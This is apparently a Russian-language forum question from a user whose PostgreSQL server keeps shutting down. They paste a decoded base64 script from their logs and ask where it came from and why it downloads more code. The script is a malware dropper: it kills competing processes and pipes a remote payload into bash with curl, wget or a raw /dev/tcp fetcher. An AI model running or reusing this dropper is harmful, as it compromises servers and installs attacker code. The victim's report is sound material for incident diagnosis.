лог
(
если декодировать "дичь в base64", то получится
#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
if [ -x "$(command -v curl)" ]; then
curl 1.2.3.4:99999/pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
wget -q -O- 1.2.3.4:99999/pg.sh|bash
else
__curl http://1.2.3.4:99999/pg2.sh|bash
fi
Cпустя 15м-12ч postgresql полностью выключается и приходится его перезапускать, что не очень удобно делать по несколько раз в день. Скорее всего я накосячил где-то в конфиге, но мне больше интересно, откуда эта "дичь в base64", и почему при попытке запуститься она крашит бд
дополнение: это нормально, что эта "дичь в base64" скачивает еще более странную дичь?